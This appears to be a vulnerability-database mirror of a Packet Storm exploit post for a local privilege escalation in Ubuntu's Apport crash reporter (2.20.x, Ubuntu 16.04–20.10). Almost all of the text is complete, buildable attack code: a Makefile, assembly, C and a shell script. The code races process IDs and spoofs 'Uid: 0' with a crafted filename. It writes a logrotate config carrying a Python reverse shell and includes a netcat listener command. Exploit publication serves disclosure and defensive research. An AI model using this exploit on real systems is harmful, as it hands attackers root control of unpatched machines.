Lucene search
K

Apport 2.20 Privilege Escalation

🗓️ 18 Feb 2021 00:00:00Reported by Gr33nh4tType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 235 Views

Apport 2.20 Privilege Escalation POC for Ubuntu 20.10, 20.04, 18.04, 16.0

Code
`# Exploit Title: Apport 2.20 - Local Privilege Escalation  
# Date: 18/02/21  
# Exploit Author: Gr33nh4t  
# Vendor Homepage: https://ubuntu.com/  
# Version:  
  
Apport: Ubuntu 20.10 - Before 2.20.11-0ubuntu50.5  
Apport: Ubuntu 20.04 - Before 2.20.11-0ubuntu27.16  
Apport: Ubuntu 18.04 - Before 2.20.9-0ubuntu7.23  
Apport: Ubuntu 16.04 - Before 2.20.1-0ubuntu2.30  
  
# Tested on: Ubuntu   
  
This is a POC for Apport exploit, we exploited these bugs by launching a reverse shell to 127.0.0.1:1234.  
  
# Setup  
  
To compile the exploit code several packages are needed:  
sudo apt-get install build-essential nasm gcc  
  
# Compilation  
  
make  
  
# Run  
  
./exploit.sh  
  
The reverse shell will connect on the next execution of logrotate  
  
nc -l -p 1234  
  
## Makefile ##  
  
.PHONY: all clean  
  
CC=gcc  
CFLAGS=  
  
NASM=nasm  
NASM_FLAGS=-f elf64  
  
LD=ld  
  
  
all: exploit crash decoy  
  
exploit: exploit.c  
$(CC) -o $@ $< $(CFLAGS)  
chmod +x $@  
  
crash: crash.o  
$(LD) $^ -o $@  
  
decoy: decoy.o  
$(LD) $^ -o $@  
  
crash.o: crash.asm  
$(NASM) $(NASM_FLAGS) $^   
  
decoy.o: decoy.asm  
$(NASM) $(NASM_FLAGS) $^   
  
  
clean:  
rm exploit decoy crash *.o  
  
## crash.asm ##  
  
section .data  
message db 10,"/var/crash/test.log{",10," su root root",10," daily",10," size=0",10," firstaction",10," python3 -c ", 34, "import sys,socket,os,pty; s=socket.socket();s.connect(('127.0.0.1', 1234));[os.dup2(s.fileno(), fd) for fd in (0,1,2)];pty.spawn('/bin/sh')", 34, ";",10," endscript",10,"}",10, 00  
timeval:  
tv_sec dd 0  
tv_usec dd 0  
  
  
section .text  
global _start  
_start:  
mov dword [tv_sec], 4000000  
mov dword [tv_usec], 0  
mov rax, 35  
mov rdi, timeval  
mov rsi, 0  
syscall  
  
## decoy.asm ##  
  
section .text  
global _start  
_start:  
mov dword [0], 0  
  
## exploit.c ##   
  
#include <unistd.h>  
#include <stdio.h>  
#include <unistd.h>  
#include <stdlib.h>  
#include <signal.h>  
  
#include <sys/types.h>  
#include <sys/stat.h>  
#include <fcntl.h>  
  
#define PID_THRESHOLD (80)  
  
int read_max_pid_file()  
{  
FILE *fd = 0;  
char buf[256];  
  
fd = fopen("/proc/sys/kernel/pid_max", "r");  
fread(buf, sizeof(buf), 1, fd);  
fclose(fd);  
return atoi(buf);  
}  
  
void write_to_fifo_file(char * path)  
{  
FILE *fd = 0;  
char buf[] = "A";  
  
fd = fopen(path, "w");  
fwrite(buf, sizeof(buf), 1, fd);  
fclose(fd);  
return;  
}  
  
  
int main(int argc, char *argv[])  
{  
int iteration = 0;  
pid_t crash_pid = -1, temp_pid = -1, spray_pid = -1;  
int current_pid = 0, max_pid = 0;  
int total_pid = 0;  
  
char *crash_argv[] = {"crash", NULL};  
char *sudo_argv[] = {"sudo", "-S", "sud", NULL};  
  
char current_dir[1024] = {0};  
char exec_buf[2048] = {0};  
char crash_buf[2048] = {0};  
  
struct stat sb = {0} ;  
  
int null_fd = -1;  
  
signal(SIGCHLD, SIG_IGN);  
getcwd(current_dir, sizeof(current_dir));  
snprintf(exec_buf, sizeof(exec_buf), "%s/%s", current_dir, "a\rUid: 0\rGid: 0");  
snprintf(crash_buf, sizeof(crash_buf), "%s/%s", current_dir, "crash");  
  
chdir("/etc/logrotate.d/");  
  
  
  
// Creating the crash program  
if (0 == stat(crash_buf, &sb) && sb.st_mode & S_IXUSR)  
{  
crash_pid = fork();  
if (0 == crash_pid)  
{  
execve(crash_buf, crash_argv, NULL);  
exit(0);  
}  
else if(-1 == crash_pid)  
{  
printf("[-] Could not fork program\n");  
return -1;  
}  
}  
else  
{  
printf("[-] Please check crash file executable.");  
return -1;  
}  
  
  
max_pid = read_max_pid_file();  
printf("[*] crash pid: %d\n", crash_pid);  
printf("[*] max pid: %d\n", max_pid);  
  
printf("[*] Creating ~%d PIDs\n", max_pid);  
printf("[*] Forking new processes\n");  
sleep(3);  
  
// Iterating through max_pid to almost reach the crash program pid  
while (iteration < max_pid - 1)  
{  
// Print progress of forks  
if( 0 == (iteration % (int)(max_pid / 5000)))  
{  
printf("\rIteration: %d/%d", iteration + 1, max_pid);  
fflush(stdout);  
}  
temp_pid = -1;  
temp_pid = fork();  
if (0 == temp_pid)  
{  
exit(0);  
}  
else if (temp_pid > 0)  
{  
iteration++;  
// We should stop before the crash pid to avoid other processes created meanwhile to interfere the exploit process  
if ( temp_pid < crash_pid && crash_pid - temp_pid < PID_THRESHOLD)  
{  
printf("\rIteration: %d/%d\n", iteration + 1, max_pid);  
fflush(stdout);  
printf("[+] less then %d pid from the target: last fork=%d , target: %d\n", PID_THRESHOLD, temp_pid, crash_pid);  
break;  
}  
}  
else if (-1 == temp_pid)  
{  
printf("[-] Could not fork temp programs\n");  
}  
}  
  
printf("[*] Crashing the crash program\n");  
kill(crash_pid, SIGSEGV); // From Now on the seconds apport will launch and we have 30 seconds to exploit it  
sleep(5);  
printf("[*] Killing the crash program\n");  
kill(crash_pid, SIGKILL);  
sleep(3);  
  
// Now crash pid is free and we need to occupy it  
for(int i=0; i < PID_THRESHOLD ; i++)  
{  
spray_pid = fork();  
if (0 == spray_pid)  
{  
if (crash_pid == getpid())  
{  
null_fd = open("/dev/null", O_WRONLY);  
dup2(null_fd, 1);  
dup2(null_fd, 2);  
close(null_fd);  
  
printf("[+] Creating suid process\n");  
execve(exec_buf, sudo_argv, NULL);  
}  
exit(0);  
}  
}  
  
sleep(3);  
printf("[*] Writing to fifo file\n");  
write_to_fifo_file(argv[1]);  
  
// Now the first apport released and the second apport resumed  
printf("[+] Wrote core file to cwd!\n");  
sleep(10); // Waiting for the second apport to finish execution  
  
return 0;  
}  
  
## exploit.sh ##  
  
#!/bin/sh  
set -e  
echo "[*] Running exploit"  
touch /var/crash/test.log  
ulimit -c unlimited  
  
if [ ! -d "~/.config/apport" ]; then  
echo "[*] Settings directory not exists"  
echo "[*] Creating settings directory"  
mkdir -p ~/.config/apport  
fi  
  
if [ ! -f "~/.config/apport/settings" ] ; then  
echo "[*] Settings file not exists"  
echo "[main]\nunpackaged=true\n" > ~/.config/apport/settings  
echo "[+] Settings file created"  
fi  
  
DECOY_PATH=`realpath ./decoy`  
MY_UID=`id -u`  
DECOY_CRASH_NAME=`echo "${DECOY_PATH}.${MY_UID}.crash" | sed 's/\//_/g'`  
DECOY_CRASH_PATH="/var/crash/${DECOY_CRASH_NAME}"  
if [ -f $DECOY_CRASH_PATH ] || [ -p $DECOY_CRASH_PATH ] ; then  
echo "[*] decoy crash exists deleting the file"  
rm $DECOY_CRASH_PATH  
fi  
  
mkfifo $DECOY_CRASH_PATH  
echo "[+] FIFO file created"  
  
./decoy 2>&1 >/dev/null &  
killall -SIGSEGV ./decoy  
  
echo "[+] Decoy process created"  
  
SUDO_PATH=`which sudo`  
ln -s $SUDO_PATH "linkchange"  
python3 -c "import os; os.rename('./linkchange', 'a\rUid: 0\rGid: 0')"  
  
echo "[+] symlink to sudo created"  
  
./exploit $DECOY_CRASH_PATH  
  
rm $DECOY_CRASH_PATH  
  
sleep 5  
if [ -f "/etc/logrotate.d/core" ] ; then  
echo "[*] Exploit succesfully finished"  
else  
echo "[*] Exploit failed"  
fi  
  
# Kill the sudo process after second apport finished  
kill `ps -ef | grep "sudo -S sud" | grep -v grep | awk '{print $2}'`  
  
##  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Feb 2021 00:00Current
0.4Low risk
Vulners AI Score0.4
235